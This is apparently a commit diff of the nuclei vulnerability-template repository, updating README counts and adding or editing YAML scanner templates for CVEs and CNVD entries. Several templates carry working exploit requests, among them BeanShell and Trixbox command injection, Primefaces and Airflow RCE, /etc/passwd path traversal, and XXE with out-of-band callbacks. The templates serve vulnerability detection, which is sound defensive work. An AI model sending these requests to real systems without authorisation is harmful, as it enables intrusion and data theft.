Auto Update README [Sun Jun 13 11:59:40 UTC 2021] 🤖

Wordpress DB Backup

.github/scripts/README.tmpl

@@ -41,7 +41,7 @@ An overview of the nuclei template directory including number of templates assoc
 | cves             | {countTpl("cves/*")}           | vulnerabilities | {countTpl("vulnerabilities/*")} | exposed-panels | {countTpl("exposed-panels")} |
 | takeovers        | {countTpl("takeovers")}        | exposures       | {countTpl("exposures/*")}       | technologies   | {countTpl("technologies")}   |
 | misconfiguration | {countTpl("misconfiguration")} | workflows       | {countTpl("workflows")}         | miscellaneous  | {countTpl("miscellaneous")}  |
-| default-logins   | {countTpl("default-logins/*")} | exposed-tokens  | {countTpl("exposed-tokens/*")}  | dns            | {countTpl("dns")}            |
+| default-logins   | {countTpl("default-logins/*")} | file            | {countTpl("file/*")}            | dns            | {countTpl("dns")}            |
 | fuzzing          | {countTpl("fuzzing")}          | helpers         | {countTpl("helpers/*")}         | iot            | {countTpl("iot")}            |
 
 **{command("tree", -2, None)}**.

README.md

@@ -38,13 +38,13 @@ An overview of the nuclei template directory including number of templates assoc
 
 | Templates        | Counts                         | Templates       | Counts                          | Templates      | Counts                       |
 | ---------------- | ------------------------------ | --------------- | ------------------------------- | -------------- | ---------------------------- |
-| cves             | 316           | vulnerabilities | 159 | exposed-panels | 130 |
-| takeovers        | 67        | exposures       | 102       | technologies   | 74   |
-| misconfiguration | 63 | workflows       | 31         | miscellaneous  | 22  |
-| default-logins   | 27 | exposed-tokens  | 0  | dns            | 8            |
-| fuzzing          | 9          | helpers         | 8         | iot            | 11            |
+| cves             | 337           | vulnerabilities | 179 | exposed-panels | 147 |
+| takeovers        | 67        | exposures       | 107       | technologies   | 100   |
+| misconfiguration | 68 | workflows       | 32         | miscellaneous  | 24  |
+| default-logins   | 30 | file            | 42            | dns            | 9            |
+| fuzzing          | 10          | helpers         | 8         | iot            | 13            |
 
-**107 directories, 1115 files**.
+**115 directories, 1276 files**.
 
 </td>
 </tr>

cnvd/CNVD-2019-01348.yaml

@@ -1,11 +1,12 @@
-id: xiuno-bbs-reinstallation
+id: CNVD-2019-01348
+
 info:
   name: Xiuno BBS CNVD-2019-01348
   author: princechaddha
   severity: medium
   description: The Xiuno BBS system has a system reinstallation vulnerability. The vulnerability stems from the failure to protect or filter the installation directory after the system is installed. Attackers can directly reinstall the system through the installation page.
   reference: https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348
-  tags: xiuno
+  tags: xiuno,cnvd
 
 requests:
   - method: GET

cnvd/CNVD-2020-23735.yaml

@@ -1,16 +1,18 @@
-id: xunchi-file-read
+id: CNVD-2020-23735
+
 info:
-  name: Xxunchi LFR (CNVD-2019-01348
+  name: Xxunchi Local File read
   author: princechaddha
   severity: medium
   description: Xunyou cms has an arbitrary file reading vulnerability. Attackers can use vulnerabilities to obtain sensitive information.
   reference: https://www.cnvd.org.cn/flaw/show/2025171
-  tags: xunchi,lfi
+  tags: xunchi,lfi,cnvd
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php"
+
     matchers-condition: and
     matchers:
       - type: status
@@ -21,4 +23,4 @@ requests:
           - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"
           - "display_errors"
         part: body
-        condition: and
+        condition: and

cnvd/CNVD-2020-56167.yaml

@@ -1,11 +1,11 @@
-id: ruijie-smartweb-default-password
+id: CNVD-2020-56167
 
 info:
   name: Ruijie Smartweb Default Password
   author: pikpikcu
   severity: low
   reference: https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
-  tags: ruijie,default-login
+  tags: ruijie,default-login,cnvd
 
 requests:
   - method: POST

cnvd/CNVD-2020-62422.yaml

@@ -5,7 +5,7 @@ info:
   author: pikpikcu
   severity: medium
   reference: https://blog.csdn.net/m0_46257936/article/details/113150699
-  tags: lfi
+  tags: lfi,cnvd
 
 requests:
   - method: GET

cnvd/CNVD-2020-68596.yaml

@@ -1,11 +1,11 @@
-id: weiphp-path-traversal
+id: CNVD-2020-68596
 
 info:
   name: WeiPHP 5.0 Path Traversal
   author: pikpikcu
   severity: critical
   reference: http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html
-  tags: weiphp,lfi
+  tags: weiphp,lfi,cnvd
 
 requests:
   - raw:

cnvd/CNVD-2021-10543.yaml

@@ -1,11 +1,11 @@
-id: eea-disclosure
+id: CNVD-2021-10543
 
 info:
   name: EEA Information Disclosure
   author: pikpikcu
   severity: high
   reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
-  tags: config,exposure
+  tags: config,exposure,cnvd
 
 requests:
   - method: GET

cnvd/CNVD-2021-17369.yaml

@@ -1,11 +1,11 @@
-id: ruijie-smartweb-disclosure
+id: CNVD-2021-17369
 
 info:
   name: Ruijie Smartweb Management System Password Information Disclosure
   author: pikpikcu
   severity: medium
   reference: https://www.cnvd.org.cn/flaw/show/CNVD-2021-17369
-  tags: ruijie,disclosure
+  tags: ruijie,disclosure,cnvd
 
 requests:
   - method: GET

cnvd/CNVD-2021-30167.yaml

@@ -0,0 +1,45 @@
+id: CNVD-2021-30167
+
+info:
+  name: UFIDA NC BeanShell Remote Code Execution
+  author: pikpikcu
+  severity: high
+  reference: |
+     - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
+     - https://www.cnvd.org.cn/webinfo/show/6491
+  tags: beanshell,rce,cnvd
+
+requests:
+  - raw:
+      - | #linux
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("id");
+
+      - | #windows
+        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
+        Content-Type: application/x-www-form-urlencoded
+
+        bsh.script=exec("ipconfig");
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "uid="
+          - "Windows IP"
+        condition: or
+
+      - type: word
+        words:
+          - "BeanShell Test Servlet"
+
+      - type: status
+        status:
+          - 200

cves/2013/CVE-2013-2251.yaml

@@ -2,7 +2,7 @@ id: CVE-2013-2251
 
 info:
   name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
-  author: exploitation & @dwisiswant0
+  author: exploitation,dwisiswant0
   severity: critical
   description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
   reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html

cves/2014/CVE-2014-2383.yaml

@@ -0,0 +1,32 @@
+id: arbitrary-file-read-in-dompdf
+
+info:
+  name: Arbitrary file read in dompdf < v0.6.0
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/33004
+  tags: dompdf,lfi
+
+# - "/dompdf.php?input_file=C:/windows/win.ini"
+# - "/dompdf.php?input_file=/etc/passwd"
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=dompdf.php"
+      - "{{BaseURL}}/lib/dompdf/dompdf.php?input_file=dompdf.php"
+      - "{{BaseURL}}/includes/dompdf/dompdf.php?input_file=dompdf.php"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "application/pdf"
+          - 'filename="dompdf_out.pdf"'
+        part: header
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2016/CVE-2016-10033.yaml

@@ -37,7 +37,6 @@ requests:
         part: body
         regex:
           - 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
-          - 'ocation: https:\/\/[a-z0-9.]+\/author\/([a-z]+)\/'
 
     matchers-condition: and
     matchers:

cves/2017/CVE-2017-1000486.yaml

@@ -0,0 +1,33 @@
+id: CVE-2017-1000486
+
+info:
+  name: Primetek Primefaces 5.x EL Injection - RCE
+  author: Moritz Nentwig
+  severity: critical
+  description: Primetek Primefaces 5.x is vulnerable to a weak encryption flaw resulting in remote code execution
+  reference: |
+      - https://github.com/mogwailabs/CVE-2017-1000486
+      - https://github.com/pimps/CVE-2017-1000486
+      - https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-1000486
+  tags: cve,cve2017,primetek,rce
+
+requests:
+  - raw:
+      - |
+        POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Content-Length: 160
+        Accept: */*
+        Accept-Language: en
+        Content-Type: application/x-www-form-urlencoded
+        Accept-Encoding: gzip, deflate
+
+        pfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D
+
+    matchers:
+      - type: word
+        words:
+          - 'Mogwailabs: CHECKCHECK'
+        part: header

cves/2017/CVE-2017-14535.yaml

@@ -0,0 +1,32 @@
+id: CVE-2017-14535
+
+info:
+  name: Trixbox - 2.8.0.4 OS Command Injection Vulnerability
+  author: pikpikcu
+  severity: high
+  reference: |
+        - https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/
+        - https://www.exploit-db.com/exploits/49913
+  tags: cve,cve2017,trixbox,rce
+
+requests:
+  - raw:
+      - |
+        GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: de,en-US;q=0.7,en;q=0.3
+        Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
+        Connection: close
+        Cache-Control: max-age=0
+
+    matchers-condition: and
+    matchers:
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-14849.yaml

@@ -2,7 +2,7 @@ id: CVE-2017-14849
 
 info:
   name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
-  author: Random-Robbie
+  author: Random_Robbie
   severity: high
   description: Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was incompatible with the pathname validation used by unspecified community modules.
   tags: cve,cve2017,nodejs,lfi

cves/2017/CVE-2017-3528.yaml

@@ -0,0 +1,21 @@
+id: CVE-2017-3528
+
+info:
+  name: Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect
+  author: 0x_Akoko
+  severity: low
+  reference: |
+      - https://blog.zsec.uk/cve-2017-3528/
+      - https://www.exploit-db.com/exploits/43592
+  tags: oracle,redirect
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/OA_HTML/cabo/jsps/a.jsp?_t=fredRC&configName=&redirect=%2f%5cexample.com"
+
+    matchers:
+      - type: word
+        words:
+          - 'noresize src="/\example.com?configName='
+        part: body

cves/2017/CVE-2017-5487.yaml

@@ -0,0 +1,30 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress Core < 4.7.1 - Username Enumeration
+  author: Manas_Harsh,daffainfo
+  severity: medium
+  description: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
+  tags: cve,cve2017,wordpress
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+      - https://www.exploit-db.com/exploits/41497
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"id":'
+          - '"name":'
+          - '"avatar_urls":'
+        condition: and

cves/2017/CVE-2017-5638.yaml

@@ -1,6 +1,6 @@
 id: CVE-2017-5638
 info:
-  author: Random Robbie
+  author: Random_Robbie
   name: Apache Struts2 RCE
   severity: critical
   description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.

cves/2017/CVE-2017-7269.yaml

@@ -2,7 +2,7 @@ id: CVE-2017-7269
 
 info:
   name: Windows Server 2003 & IIS 6.0 RCE
-  author: thomas_from_offensity & @geeknik
+  author: thomas_from_offensity,geeknik
   severity: critical
   description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
   reference:

cves/2017/CVE-2017-7615.yaml

@@ -2,7 +2,7 @@ id: CVE-2017-7615
 
 info:
   name: CVE-2017-7615
-  author: bp0lr & dwisiswant0
+  author: bp0lr,dwisiswant0
   severity: high
   description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
   tags: cve,cve2017,mantisbt

cves/2017/CVE-2017-9140.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-9140
+
+info:
+  name: Reflected XSS - Telerik Reporting Module
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2017,xss,telerik
+  description: Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
+  reference: https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '#000000"onload="prompt(1)'
+          - 'Telerik.ReportViewer.axd?name=Resources'
+        condition: and

cves/2017/CVE-2017-9506.yaml

@@ -14,7 +14,7 @@ info:
 requests:
   - raw:
       - |
-        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
         Host: {{Hostname}}
         Origin: {{BaseURL}}
         Connection: close
@@ -26,4 +26,4 @@ requests:
       - type: word
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
-          - "http"
+          - "dns"

cves/2017/CVE-2017-9841.yaml

@@ -2,7 +2,7 @@ id: CVE-2017-9841
 
 info:
   name: CVE-2017-9841
-  author: Random-Robbie
+  author: Random_Robbie
   severity: high
   description: Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring, as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI
   tags: cve,cve2017,php,phpunit,rce

cves/2018/CVE-2018-0296.yaml

@@ -11,12 +11,16 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions"
+    headers:
+      Accept-Encoding: deflate
+
     matchers-condition: and
     matchers:
       - type: word
         words:
           - "///sessions"
         part: body
+
       - type: status
         status:
           - 200

cves/2018/CVE-2018-1000129.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-1000129
 
 info:
   name: Jolokia XSS
-  author: mavericknerd @0h1in9e
+  author: mavericknerd,0h1in9e
   severity: high
   description: An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.
   tags: cve,cve2018,jolokia,xss

cves/2018/CVE-2018-1000861.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-1000861
 
 info:
   name: Jenkins 2.138 Remote Command Execution
-  author: dhiyaneshDK & @pikpikcu
+  author: dhiyaneshDK,pikpikcu
   severity: critical
   reference: https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861
   tags: cve,cve2018,jenkin,rce

cves/2018/CVE-2018-11409.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-11409
 
 info:
   name: Splunk Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
   severity: medium
   reference: https://nvd.nist.gov/vuln/detail/CVE-2018-11409
   tags: cve,cve2018,splunk

cves/2018/CVE-2018-11759.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-11759
 
 info:
   name: Apache Tomcat JK Status Manager Access
-  author: Harsh Bothra
+  author: harshbothra_
   severity: medium
   reference: https://github.com/immunIT/CVE-2018-11759
   tags: cve,cve2018,apache

cves/2018/CVE-2018-1247.yaml

@@ -17,7 +17,12 @@ requests:
         words:
           - "application/x-shockwave-flash"
         part: header
+
       - type: word
         words:
           - "javascript:alert(1337)"
         part: body
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-12634.yaml

@@ -1,4 +1,4 @@
-id: circarlife-system-log
+id: CVE-2018-12634
 
 info:
   name: Exposed CirCarLife System Log
@@ -6,7 +6,7 @@ info:
   description: CirCarLife is an internet-connected electric vehicle charging station
   reference: https://circontrol.com/
   severity: medium
-  tags: scada,circontrol,circarlife,logs
+  tags: cve,cve2018,scada,circontrol,circarlife,logs
 
 requests:
   - method: GET

cves/2018/CVE-2018-16836.yaml

@@ -0,0 +1,23 @@
+id: rubedo-cms-directory-traversal
+
+info:
+  name: Rubedo CMS 3.4.0 - Directory Traversal
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/45385
+  tags: rubedo,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-19439.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-19439
 
 info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
   severity: high
   description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
   tags: cve,cve2018,oracle,xss

cves/2018/CVE-2018-20824.yaml

@@ -2,7 +2,7 @@ id: CVE-2018-20824
 
 info:
   name: Atlassian Jira WallboardServlet XSS
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
   severity: medium
   description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
   tags: cve,cve2018,atlassian,jira,xss

cves/2018/CVE-2018-3167.yaml

@@ -12,7 +12,7 @@ requests:
     path:
       - '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'
 
-    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://localhost:80">
+    body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://example.com">
 
     matchers-condition: and
     matchers:
@@ -22,4 +22,4 @@ requests:
         part: body
       - type: status
         status:
-          - 200
+          - 200

cves/2019/CVE-2019-15858.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-15858
 
 info:
   name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0 & fmunozs & patralos
+  author: dwisiswant0,fmunozs,patralos
   severity: high
   description: |
     This template supports the detection part only. See references.

cves/2019/CVE-2019-17382.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-17382
 
 info:
   name: Zabbix Authentication Bypass
-  author: Harsh Bothra
+  author: harshbothra_
   severity: critical
   description: An issue was discovered in zabbix.php?action=dashboard.view&dashboardid=1 in Zabbix through 4.4. An attacker can bypass the login page and access the dashboard page, and then create a Dashboard, Report, Screen, or Map without any Username/Password (i.e., anonymously). All created elements (Dashboard/Report/Screen/Map) are accessible by other users and by an admin.
   reference: https://www.exploit-db.com/exploits/47467

cves/2019/CVE-2019-17558.yaml

@@ -1,7 +1,7 @@
 id: CVE-2019-17558
 info:
   name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
-  author: pikpikcu & madrobot
+  author: pikpikcu,madrobot
   severity: critical
   refrense: https://nvd.nist.gov/vuln/detail/CVE-2019-17558
   tags: cve,cve2019,apache,rce,solr

cves/2019/CVE-2019-19985.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-19985
 
 info:
   name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
-  author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
+  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
   severity: medium
   description: The WordPress plugin, Email Subscribers & Newsletters, before 4.2.3 had a flaw that allowed unauthenticated file download with user information disclosure.
   refrense: https://www.exploit-db.com/exploits/48698

cves/2019/CVE-2019-2616.yaml

@@ -0,0 +1,28 @@
+id: CVE-2019-2616
+
+info:
+  name: XXE in Oracle Business Intelligence and XML Publisher
+  author: pdteam
+  severity: high
+  description: Oracle Business Intelligence / XML Publisher 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - XML External Entity Injection
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2616
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        POST /xmlpserver/ReportTemplateService.xls HTTP/1.1
+        Host: {{Hostname}}
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Content-Length: 76
+        Content-Type: text/xml; charset=UTF-8
+
+        <!DOCTYPE soap:envelope PUBLIC "-//B/A/EN" "http://{{interactsh-url}}">
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2019/CVE-2019-2767.yaml

@@ -0,0 +1,23 @@
+id: CVE-2019-2767
+
+info:
+  name: Oracle Business Intelligence - Publisher XXE
+  author: madrobot
+  severity: high
+  description: Vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware. The supported version that is affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher (formerly XML Publisher).
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2019-2767
+      - https://www.exploit-db.com/exploits/46729
+  tags: cve,cve2019,oracle,xxe,oob
+
+requests:
+  - raw:
+      - |
+        GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the DNS Interaction
+        words:
+          - "dns"

cves/2019/CVE-2019-3396.yaml

@@ -1,6 +1,6 @@
 id: CVE-2019-3396
 info:
-  author: Harsh Bothra
+  author: harshbothra_
   name: Atlassian Confluence Path Traversal
   severity: high
   description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.

cves/2019/CVE-2019-3402.yaml

@@ -11,7 +11,7 @@ info:
 requests:
   - method: GET
     path:
-      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+      - "{{BaseURL}}/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
 
     matchers-condition: and
     matchers:

cves/2019/CVE-2019-8449.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-8449
 
 info:
   name: JIRA Unauthenticated Sensitive Information Disclosure
-  author: Harsh Bothra
+  author: harshbothra_
   severity: medium
   description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability.
   reference: |

cves/2019/CVE-2019-9978.yaml

@@ -2,7 +2,7 @@ id: CVE-2019-9978
 
 info:
   name: WordPress social-warfare RFI
-  author: madrobot & dwisiswant0
+  author: madrobot,dwisiswant0
   severity: critical
   description: The social-warfare plugin before 3.5.3 for WordPress has stored XSS via the wp-admin/admin-post.php?swp_debug=load_options swp_url parameter, as exploited in the wild in March 2019. This affects Social Warfare and Social Warfare Pro.
   reference: https://github.com/mpgn/CVE-2019-9978

cves/2020/CVE-2020-11978.yaml

@@ -0,0 +1,64 @@
+id: CVE-2020-11978
+info:
+  name: Apache Airflow <= 1.10.10 - 'Example Dag' Remote Code Execution
+  author: pdteam
+  severity: high
+  description: An issue was found in Apache Airflow versions 1.10.10 and below. A remote code/command injection vulnerability was discovered in one of the example DAGs shipped with Airflow which would allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler (depending on the executor in use). If you already have examples disabled by setting load_examples=False in the config then you are not vulnerable.
+  reference: |
+        - https://github.com/pberba/CVE-2020-11978
+        - https://nvd.nist.gov/vuln/detail/CVE-2020-11978
+        - https://twitter.com/wugeej/status/1400336603604668418
+  tags: cve,cve2020,apache,airflow,rce
+
+requests:
+  - raw:
+      - |
+        GET /api/experimental/test HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+      - |
+        GET /api/experimental/dags/example_trigger_target_dag/paused/false HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+      - |
+        POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+        Content-Length: 85
+        Content-Type: application/json
+
+        {"conf": {"message": "\"; touch test #"}}
+
+      - |
+        GET /api/experimental/dags/example_trigger_target_dag/dag_runs/{{exec_date}}/tasks/bash_task HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept-Encoding: gzip, deflate
+        Accept: */*
+
+
+    extractors:
+      - type: regex
+        name: exec_date
+        part: body
+        group: 1
+        internal: true
+        regex:
+          - '"execution_date":"([0-9-A-Z:+]+)"'
+
+    req-condition: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_4, "operator":"BashOperator")'
+          - 'contains(all_headers_4, "application/json")'
+        condition: and

cves/2020/CVE-2020-12720.yaml

@@ -2,7 +2,7 @@ id: CVE-2020-12720
 
 info:
   name: CVE-2020-12720 vBulletin SQLI
-  author: pdnuclei - projectdiscovery.io
+  author: pdteam
   severity: critical
   description: vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.
   reference: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720

cves/2020/CVE-2020-13927.yaml

@@ -1,18 +1,20 @@
-id: airflow-api-exposure
+id: CVE-2020-13927
 
 info:
-  name: Apache Airflow API Exposure / Unauthenticated Access
+  name: Unauthenticated Airflow Experimental REST API
   author: pdteam
   severity: medium
-  tags: apache,airflow,unauth
+  tags: cve,cve2020,apache,airflow,unauth
 
 requests:
   - method: GET
     path:
       - '{{BaseURL}}/api/experimental/latest_runs'
+
     matchers:
       - type: word
         words:
           - '"dag_run_url":'
-          - '{"items":['
+          - '"dag_id":'
+          - '"items":'
         condition: and

cves/2020/CVE-2020-15227.yaml

@@ -0,0 +1,29 @@
+id: CVE-2020-15227
+
+info:
+  name: Nette Framework RCE
+  author: becivells
+  severity: high
+  description: Nette versions before 2.0.19, 2.1.13, 2.2.10, 2.3.14, 2.4.16, 3.0.6 are vulnerable to an code injection attack by passing specially formed parameters to URL that may possibly leading to RCE. Nette is a PHP/Composer MVC Framework.
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2020-15227
+      - https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
+      - https://www.pwnwiki.org/index.php?title=CVE-2020-15227_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E#
